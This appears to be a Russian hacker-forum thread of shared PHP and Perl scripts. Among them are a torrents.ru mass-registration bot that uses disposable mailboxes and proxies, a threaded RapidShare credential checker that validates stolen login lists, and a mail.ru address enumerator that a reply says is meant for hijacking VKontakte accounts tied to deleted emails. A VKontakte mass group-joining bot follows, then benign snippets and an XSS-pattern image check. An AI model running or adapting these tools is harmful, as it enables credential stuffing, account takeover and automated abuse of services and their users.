Полуавтоматический регистратор Torrents.ru PHP: <?php @set_time_limit(0); @ignore_user_abort(1); //-----------------// $torrents = 'torrents.txt'; // Файл с аккаунтами $divider = ':'; // Разделитель $sleep = '30'; // Задержка для проверки E-mail $proxy = ''; // Можно через покси (127.0.0.1:8008) $log = '0'; // 1 - Если нужно писать логи $log_txt = 'log.txt'; // Log-файл //-----------------// function post($url,$post,$refer,$proxy) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } if ($proxy == '') { $proxy = null; } /* Если нам передали капчу... */ if ($_POST['captcha']) { /* Регистрируем E-mail */ $result = post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy); /* Массив с данными */ $postdata = array( 'method' => 'post', 'mode' => 'register', 'reg_agreed' => '1', 'sid' => '', 'username' => $_POST['login'], 'email' => $_POST['login'].'@odnorazovoe.ru', 'new_password' => $_POST['password'], 'password_confirm' => $_POST['password'], 'cap_sid' => $_POST['cap_sid'], 'cap_code_'.$_POST['cap_code_'] => $_POST['captcha'], 'user_flag_id' => '0', 'user_timezone_x2' => '6', 'submit' => 'Отправить', ); /* Отправка данных */ $result = post('http://torrents.ru/forum/profile.php',$postdata,'http://torrents.ru/forum/profile.php?mode=register',$proxy); if($log == '1') { $fh = fopen($log_txt, "a+"); $success - fwrite($fh, $login."Ждём URL-активации [".date("H:i")."]\r\n"); fclose($fh); } /* Цикл проверки почты */ while($email[1] == null) { $result_email = post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy); preg_match('#eml.php(.*?)"#i',$result_email,$email); sleep($sleep); } /* Получаем URL-активации */ $result = post('http://odnorazovoe.ru/eml.php'.$email[1],null,'http://odnorazovoe.ru/',$proxy); preg_match('#activate(.*?)<#i',$result,$url); $url = str_replace("&","&",$url[1]); /* Отправляем данные */ $result = post('http://torrents.ru/forum/profile.php?mode=activate'.$url,null,'http://odnorazovoe.ru/',$proxy); if(preg_match('#активиз(.*?)\.#i',$result,$end)) { /* Сохраняем результат */ $fh = fopen($torrents, "a+"); $success - fwrite($fh, $_POST['login'].$divider.$_POST['password']."\r\n"); fclose($fh); if($log == '1') { $fh = fopen($log_txt, "a+"); $success - fwrite($fh, "Зарегистрировались [".date("H:i")."]\r\n"); fclose($fh); } Header('Location: index.php'); } } else { /* ...если не передали капчу */ $letters = 'abcdefghijklmopkqrstuvwxyz'; for ($i = 0; $i < 20; $i++) { $login .= $letters{rand(0, strlen($letters) - 1)}; } $password = rand(123456,7777777); $name = rand(0,7777777); /* Получаем страницу регистрации */ $result = post('http://torrents.ru/forum/profile.php?mode=register','reg_agreed=1','http://torrents.ru/forum/profile.php?mode=register',$proxy); /* Вытаскиваем нужные значения */ preg_match('#http://static.torrents.ru/captcha/(.*?)"#i',$result,$match); preg_match('#cap_sid" value="(.*?)"#i',$result,$match_sid); preg_match('#cap_code_(.*?)"#i',$result,$match_cap); /* Регистрация на трекере ограничена */ if($match[1] == '') { echo '<script>alert(\'В данный момент регистрация закрыта!\')</script>'; } } /* geforse.name */ ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="Content-Style-Type" content="text/css"> <title>torrents.ru | geforse.name</title> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"> <link rel="search" type="application/opensearchdescription+xml" title="Поиск на torrents.ru" href="http://static.torrents.ru/opensearch.xml"> <link rel="stylesheet" type="text/css" href="http://static.torrents.ru/templates/default/css/main.css?v=18" media="all"> </head><body> <div id="preload" style="overflow: hidden; position: absolute; top: 0pt; left: 0pt; height: 1px; width: 1px;"></div> <div id="body_container"> <div id="page_container"> <a name="top"></a> <div id="page_header"> <div id="logo"> <table cellpadding="0" cellspacing="0" width="100%"> <tbody><tr> <td style="padding: 4px 0pt 5px;"> <a href="http://torrents.ru/forum/index.php"><img src="http://static.torrents.ru/images/logo/logo.gif" alt="logo" height="85" width="320"></a> </td> </tr> </tbody></table> </div> <div class="topmenu"> <table cellpadding="0" cellspacing="0" width="100%"> <tbody><tr> </tr> </tbody></table> </div> <div id="page_content"> <table style="width: 100%;" border="0" cellpadding="0" cellspacing="0"><tbody><tr> <td id="main_content"> <div id="main_content_wrap"> <h1 class="pagetitle">Регистрация</h1> <form action="index.php" method="post"> <table class="forumline usercp_register"> <col class="row1" width="35%"> <col class="row2" width="65%"> <tbody class="pad_4"> <tr> <th colspan="2">Регистрационная информация</th> </tr> <tr> </tr> <tr> </tr> <tr> </tr> <tr> </tr> <tr> </tr> <tr> <td>Код подтверждения:</td> <td> <div><img src="http://static.torrents.ru/captcha/<?php echo $match[1]; ?>" alt="pic" height="72" width="120"></div> <div> <input name="captcha" value="" class="bold" type="text"> <input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" /> <input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" /> <input type="hidden" name="name" value="<?php echo $name; ?>" /> <input type="hidden" name="login" value="<?php echo $login; ?>" /> <input type="hidden" name="password" value="<?php echo $password; ?>" /> </div> <br> <a href="http://geforse.name/" target="_blank">geforse.name</a> </td> </tr> <tr> <td class="row2" colspan="2"> <div id="infobox-wrap" class="bCenter row1"> </div> </td> </tr> <tr> <td class="catBottom" colspan="2"> <div id="submit-buttons"> <input name="submit" value="Отправить" class="bold" type="submit"> </div> </td> </tr> </tbody> </table> </form> </div> </td> </tr></tbody></table> </div> </div> </div> </body></html> P.S. регистрация доступна 16:00-18:00, поэтому не нужно пытаться запускать скрипт в другое время /* geforse.name */
PHP: <input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" /> <input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" /> <input type="hidden" name="name" value="<?php echo $name; ?>" /> <input type="hidden" name="login" value="<?php echo $login; ?>" /> <input type="hidden" name="password" value="<?php echo $password; ?>" /> Можно везде заменить на: PHP: <input type="hidden" name="name" value="<?=$name;?>" />
Думаем => Проверяем => Пишем b3, у вас со вторым шагом проблемы Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
Писал когда то чекер/брутер акков рапиды Code: #!/usr/bin/perl #RapidShare.com checker by Gaus use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock'; ################################################# my $threads_count = 1; # Кол-во потоков my $file_accounts = 'accs.txt'; # Файл с акками my $file_valid_accounts = 'valid.txt'; # Файл с валидными акками my $delm_accounts = ';'; # Разделитель списка акков my $proxy_file = 'proxy.txt'; # Файл с прокси my $proxy_mode = 'OFF'; # Юзать прокси(ON/OFF) ################################################# my @accs : shared = lf($file_accounts); my @proxys : shared = lf($proxy_file); threads->new(\&main) for 1 .. $threads_count; $_->join for threads->list; sub main { while(@accs) { my $ua = LWP::UserAgent->new(timeout => 35, cookie_jar => new HTTP::Cookies, agent => agent()); if($proxy_mode eq 'ON') { until(proxy($ua)){} } my ($login, $pass) = split $delm_accounts => shift @accs; my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi", ["uselandingpage" => 1, "login" => $login, "password" => $pass])->code; if($answ == 302) { wf($file_valid_accounts, "$login:$pass\n"); print "[ + ] $login:$pass\n"; } else { print "[ - ] $login:$pass\n"; } } } sub proxy { my $ua = shift; my ($ip,$port) = split ':' => $proxys[rand scalar @proxys]; $ua->proxy('http' => "http://$ip:$port"); my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content; if($test =~ m,REMOTE_ADDR=$ip,i) { print "[ + ] Current proxy: $ip:$port\n"; return 1; } else { print "[ - ] Error proxy: $ip:$port\n"; return 0; } } sub agent { my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0); return $agents[rand scalar @agents]; } sub lf { open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n"; chomp(my @data = <$dat>); close $dat; return @data; } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat; } Download
Я тут щас вспомнил одну штуку которую я юзал года 2 назад... это stdClass (уверен что многие даже не знают о его существовании). Это встроенный в php обьект (незнаю был ли он в php3 но в 4 версии был точно) он не поддерживает методов, но в нем очень удобно хранить любые данные и переменные. Если вы приверженец функцонального программирования stdClass избавит вас от проблемы области видимости переменных (аля global $a,$b,$c.....$z; блин не работает ааа!!! забыл $z1 прописать...) PHP: $obj = new StdClass; $obj->a="Hay"; $obj->b=array("a","b","c"); $obj->x=1;
хех.. дописать три строки.. PHP: <?php $a = file("acc.txt"); $good = fopen("good.txt", "a+"); $bad = fopen("bad.txt", "a+"); foreach ($a as $acc) { echo $acc; $acc = explode("@", $acc); $url = file_get_contents("http://win.mail.ru/cgi-bin/passremind?action=login&Username=" . $acc[0] . "&Domain=" . $acc[1]); if (strpos($url, "Пользователь отсутствует.")) { echo "..........мыло свободно<br>"; fwrite($good, $login . "@" . $domain . "\n"); } else { echo "..........забудь- его уже юзают<br>"; fwrite($bad, $login . "@" . $domain . "\n"); } flush(); ob_flush(); } fclose($good); fclose($bad); ?>
так все в бед попадают (и кроме того в файл бед пишеться только знак @ т е ни логина ни домена))) я конечно не доктор но прежде чем сохранить в этой строчке fwrite($good, $login . "@" . $domain . "\n") переменные обьявить нужно))), короче я так понял что еще три строчки и код будет такой-же корявый как и мой))))) (единственное мой рабочий) а курл я использовал потому что по задумке после проверки те номера которые собирал в гууд должны были региться (авторегер) (сами понимаете что прочекав спам базу в ней обязательно найдуться мыла которые майл удалил а на этих мылах очень часто висят акки вконтакта)))
простой класс шифрования строки, думаю будет полезен новичкам PHP: class Crypter{ var $key; function Crypter($clave){ $this->key = $clave; } function setKey($clave){ $this->key = $clave; } function keyED($txt) { $encrypt_key = md5($this->key); $ctr=0; $tmp = ""; for ($i=0;$i<strlen($txt);$i++) { if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1); $ctr++; } return $tmp; } function encrypt($txt){ //srand((double)microtime()*1000000); $encrypt_key = md5($this->key); $ctr=0; $tmp = ""; for ($i=0;$i<strlen($txt);$i++){ if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($encrypt_key,$ctr,1) . (substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1)); $ctr++; } return base64_encode($this->keyED($tmp)); } function decrypt($txt) { $txt = $this->keyED(base64_decode($txt)); $tmp = ""; for ($i=0;$i<strlen($txt);$i++){ $md5 = substr($txt,$i,1); $i++; $tmp.= (substr($txt,$i,1) ^ $md5); } return $tmp; } } Далее вызываем класс и определяем ключ для нашего шифрования PHP: $crypt= new Crypter('ТУТ ПИШЕМ КЛЮЧ'); Например $crypt= new Crypter('anti4at'); чтобы зашифровать строку PHP: $str='password'; // строка которую надо зашифровать $crp=$crypt->encrypt($str); в переменной crp лежит зашифрованая строка password чтобы расшифровать PHP: $decrp=$crypt->decrypt($crp);
PHP: <?php $page = isset($_GET['dom']) ? $_GET['dom'] : ''; $s = file_get_contents('http://wtools.biz/whois/?domain='.$page.''); $matches = explode('<p><b>', $s); $matches = explode('Что', $matches[1]); echo $matches[0]; // waketwo.ru // xyuha.ru ?> Незнаю даже как назвать, но скрипт типа граббер whois сервиса... Для просмотра инфы о домене нужна зайти на скрипт.php ?dom=ДОМЕН КОТОРЫЙ ХАТИМ ПРОСМОТРЕТЬ P.S. Скрипт писал под ICQ бота, поэтому нету полей ввода и т.д.
PHP: <?php // Автор: wake2(cren) // ICQ: 170-6-177 // БЛОГ: http://waketwo.ru/ // ВАРЕЗ ПОРТАЛ: http://xyuha.ru/ $www = rand(1, 404621); $fp = file_get_contents('http://bash.org.ru/quote/'.$www.''); $matches = explode('<div>', $fp); $matches = explode('</div>', $matches[1]); echo $matches[0]; ?> Выводит рандомную цитату с баш.орг.ру
PHP: <?php // Автор: wake2(cren) // ICQ: 170-6-177 $r = rand(1, 4626); $fp = file_get_contents('http://nya.sh/post/'.$r.''); $matches = explode('</i></div>', $fp); $matches = explode('</div>', $matches[1]); echo $matches[0]; ?> Скрипт выводит рандомную цитату с НЯШ'a (nya.sh)
Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите. Code: sub gender # 1 - woman; 0 - man { my ($name) = @_; return 1 if $name=~"я\$"; return 1 if $name=~"а\$"; return 1 if $name=~"о\$"; return 1 if $name=~"ы\$"; return 1 if $name=~"э\$"; return 1 if $name=~"е\$"; return 1 if $name=~"a\$"; return 1 if $name=~"o\$"; return 1 if $name=~"i\$"; return 1 if $name=~"e\$"; return 1 if $name=~"Я\$"; # shit return 1 if $name=~"А\$"; return 1 if $name=~"О\$"; return 1 if $name=~"Ы\$"; return 1 if $name=~"Э\$"; return 1 if $name=~"Е\$"; return 1 if $name=~"A\$"; return 1 if $name=~"E\$"; return 1 if $name=~"O\$"; return 1 if $name=~"I\$"; return 0; } ЗЫ. на самом деле я perl не знаю, так что говнокод тут явный.
скрипт для добавления юзера в группы и встречи по диапазону. Диапазону групп и встреч. диапазон для групп и встреч один и тотже вот скрипт PHP: <form method="POST"> <center> Email:<input type="text" name="email"><br> Pass:<input type="text" name="pass"><br> Стартовать с ID:<input type="text" name="start"><br> Закончить на ID:<input type="text" name="end"><br> Таймаут:<input type="text" name="sleep"><br> <input type=submit value="НАчать РАботать!!!"></center> <?php set_time_limit(0); function curl($url,$post) { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $start = $_POST['start']; $end = $_POST['end']; $email = $_POST['email']; $pass = $_POST['pass']; $sleep = $_POST['sleep']; if(!$email||!$pass||!$start||!$end||!$sleep){exit; } for($i=$start; $i<=$end; $i++) { $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); $result = curl("http://vkontakte.ru/club".$i,""); preg_match_all ('#</li><li><a href=\'(.*)\'>#iU', $result, $regs); $ssil = $regs[1][0]; $result = curl("http://vkontakte.ru".$ssil,""); $result = curl("http://vkontakte.ru/events.php?act=s&gid=".$i,""); preg_match_all ('#<a href=\"events\.php\?act=enter\&gid=(.*)\">#iU', $result, $regs); $ssil = $regs[1][0]; $result = curl("http://vkontakte.ru/events.php?act=enter&gid=".$ssil,""); sleep($sleep); } ?>
2 PHP-функции для работы с изображениями. Представляю вашему вниманию 2 полезных PHP-функции для работы с картинками. Одна из них позволяет пропорционально уменьшать размеры картинки, вторая - проверять картинку на валидность (защита от XSS-атак). Пропорциональное уменьшение размеров изображения: PHP: <?php /** Универсальный ресайз картинок * * Функция позволяет копировать изображение, * оставляя его исходные характеристики или * изменяя его размер и/или качество. * При изменении размера сохраняются пропорции. * * Функция умеет работать с изображениями * следующих форматов: JPG, PNG, GIF. * * Параметры: * @ $from - путь к изображению, над которым будут выполняться операции * @ $to - путь к результирующему изображению * @ $maxwidth - максимальная ширина изображения * @ $maxheight - максимальная высота изображения * @ $quality - качество картинки (0..100) (для JPG и PNG) * * Возвращаемые значения: * false - во время выполнения произошла ошибка * true - функция выполнилась успешно и без ошибок * * Автор: * @name Валерий 'Figaroo' Киркиж * @url http://figaroo.ru/ * @email [email protected] */ function figaroo_resize_image ($from, $to, $maxwidth, $maxheight, $quality = 80) { // защита от Null-байт уязвимости PHP $from = preg_replace('/\0/uis', '', $from); $to = preg_replace('/\0/uis', '', $to); // информация об изображении $imageinfo = @getimagesize($from); // если получить информацию не удалось - ошибка if (!$imageinfo) return false; // получаем параметры изображения $width = $imageinfo[0]; // ширина $height = $imageinfo[1]; // высота $format = $imageinfo[2]; // ID формата (число) $mime = $imageinfo['mime']; // mime-тип // определяем формат и создаём изображения switch ($format) { case 2: $img = imagecreatefromjpeg($from); break; // jpg case 3: $img = imagecreatefrompng($from); break; // png case 1: $img = imagecreatefromgif($from); break; // gif default: return false; break; } // если создать изображение не удалось - ошибка if (!$img) return false; // меняем размеры изображения $newwidth = $newheight = 0; // требуется квадратная картинка if ($maxwidth == $maxheight) { // размеры картинки больше по X и по Y if ($width > $maxwidth && $height > $maxheight) { // пропорции картинки одинаковы if ($width == $height) { $newwidth = $maxwidth; $newheight = $maxheight; } // ширина больше elseif ($width > $height) { $newwidth = $maxwidth; $newheight = intval(((float)$newwidth / (float)$width) * $height); } // высота больше else { $newheight = $maxheight; $newwidth = intval(((float)$newheight / (float)$height) * $width); } } // размеры картинки больше только по X elseif ($width > $maxwidth) { $newwidth = $maxwidth; $newheight = intval(((float)$newwidth / (float)$width) * $height); } // размеры картинки больше только по Y elseif ($height > $maxheight) { $newheight = $maxheight; $newwidth = intval(((float)$newheight / (float)$height) * $width); } // в остальных случаях ничего менять не надо else { $newwidth = $width; $newheight = $height; } } // требуется горизонтальная картинка elseif ($maxwidth > $maxheight) { // размеры картинки больше по X и по Y if ($width > $maxwidth && $height > $maxheight) { // ширина больше if ($width > $height) { $newwidth = $maxwidth; $newheight = intval(((float)$newwidth / (float)$width) * $height); } // высота больше или равна ширине else { $newheight = $maxheight; $newwidth = intval(((float)$newheight / (float)$height) * $width); } } // размеры картинки больше только по X elseif ($width > $maxwidth) { $newwidth = $maxwidth; $newheight = intval(((float)$newwidth / (float)$width) * $height); } // размеры картинки больше только по Y elseif ($height > $maxheight) { $newheight = $maxheight; $newwidth = intval(((float)$newheight / (float)$height) * $width); } // в остальных случаях ничего менять не надо else { $newwidth = $width; $newheight = $height; } } // требуется вертикальная картинка elseif ($maxwidth < $maxheight) { // размеры картинки больше по X и по Y if ($width > $maxwidth && $height > $maxheight) { // ширина больше или равна высоте if ($width >= $height) { $newwidth = $maxwidth; $newheight = intval(((float)$newwidth / (float)$width) * $height); } // высота больше else { $newheight = $maxheight; $newwidth = intval(((float)$newheight / (float)$height) * $width); } } // размеры картинки больше только по X elseif ($width > $maxwidth) { $newwidth = $maxwidth; $newheight = intval(((float)$newwidth / (float)$width) * $height); } // размеры картинки больше только по Y elseif ($height > $maxheight) { $newheight = $maxheight; $newwidth = intval(((float)$newheight / (float)$height) * $width); } // в остальных случаях ничего менять не надо else { $newwidth = $width; $newheight = $height; } } // если изменений над картинкой производить не надо - просто копируем её if ($newwidth == $width && $newheight == $height && $quality == 80) { if (copy($from, $to)) return true; else return false; } // создаём новое изображение $new = imagecreatetruecolor($newwidth, $newheight); $black = imagecolorallocate($new, 0, 0, 0); $white = imagecolorallocate($new, 255, 255, 255); // копируем старое в новое с учётом новых размеров imagefilledrectangle($new, 0, 0, $newwidth - 1, $newheight - 1, $white); //imagecolortransparent($new, $white); imagecopyresampled($new, $img, 0, 0, 0, 0, $newwidth, $newheight, $width, $height); // создаём файл с новым изображением switch ($format) { case 2: // jpg if ($quality < 0) $quality = 0; if ($quality > 100) $quality = 100; imagejpeg($new, $to, $quality); break; case 3: // png $quality = intval($quality * 9 / 100); if ($quality < 0) $quality = 0; if ($quality > 9) $quality = 9; imagepng($new, $to, $quality); break; case 1: // gif imagegif($new, $to); break; } return true; } ?> Проверка на валидность: PHP: <?php // функция проверки изображения на валидность (защита от XSS-атак) function verify_image ($file) { // защита от Null-байт уязвимости PHP $file = preg_replace('/\0/uis', '', $file); // проверка изображения $txt = file_get_contents($file); if (preg_match('#&(quot|lt|gt|nbsp|amp);#i', $txt)) return false; elseif (preg_match("#&\#x([0-9a-f]+);#i", $txt)) return false; elseif (preg_match('#&\#([0-9]+);#i', $txt)) return false; elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $txt)) return false; elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $txt)) return false; elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $txt)) return false; elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $txt)) return false; elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $txt)) return false; elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset)[^>]*>#i", $txt)) return false; return true; } ?>